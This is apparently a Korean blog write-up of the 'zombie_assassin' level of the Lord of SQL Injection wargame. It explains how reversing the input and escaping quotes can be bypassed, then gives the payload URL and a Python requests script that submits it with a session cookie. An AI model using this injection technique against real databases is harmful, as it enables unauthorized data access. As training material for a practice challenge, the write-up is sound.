문제
문제 분석
id와 pw에 "prob" , "_" , ".","'"(싱글쿼터)를 피해야 하며 id와 pw값에 들어가는 문자중 싱글쿼터, 더블쿼터, 역슬래쉬가 들어가면 역슬래쉬가 하나더 붙어 우회를 방지하며 모든 문자는 역순으로 들어가게 된다.
따라서 이를 우회 하여 id에 값이 들어있으면 문제가 풀린다.
문제 풀이
addslash와 역배열을 우회하는게 핵심이였다.
where id='"\'\' and pw=' or 1 # '
=where id ='' or 1 #'
=> "(더블 쿼터)에 \(역슬래쉬)와 역배열이 들어가면 "\ 로 되는데 이를 '(싱글쿼터) 와 같이쓰면 결국 id='"\'\' 가 됨으로 싱글쿼터가 제역할을 못하게 \'\' 가 문자로 인식된다.
따라서 싱글쿼터 맨앞에 하나만 남게 되며 이후 싱글쿼터가 나올때까지 "\'\' and pw= 는문자열 처리된다.
결국 id에 ''이 들어가게 되고 pw에 역배열로 or 1 #인 문을 # 1 ro로 넣어주면 id값에 들어가는 것처럼 처리가 된다.
문제 정답
URL?id='"&pw=# 1 ro
url을 조작할시 #은 %23으로 입력해줘야한다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
#addslash와 역배열 우회
#"에 역슬래쉬와 역배열이 들어가면 "\ 로 되는데 이를 ' 와 같으쓰면 결국 id='"\'\' 가 됨으로 \'\' 가 문자로 인식되니까 맨앞의 '만 남음
data['id']="\'\"" #/ 하나만 사용하면 이스케이프 문자로 사용되므로 두개를 사용해야 하나로 인식 %27"
data['pw']="# 1 ro"
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 19(xavis) (0) | 2021.01.05 |
---|---|
LOS 18(nightmare) (0) | 2021.01.05 |
LOS 16(succubus) (0) | 2021.01.05 |
LOS 15(assassin) (0) | 2021.01.05 |
LOS 14(giant) (0) | 2021.01.05 |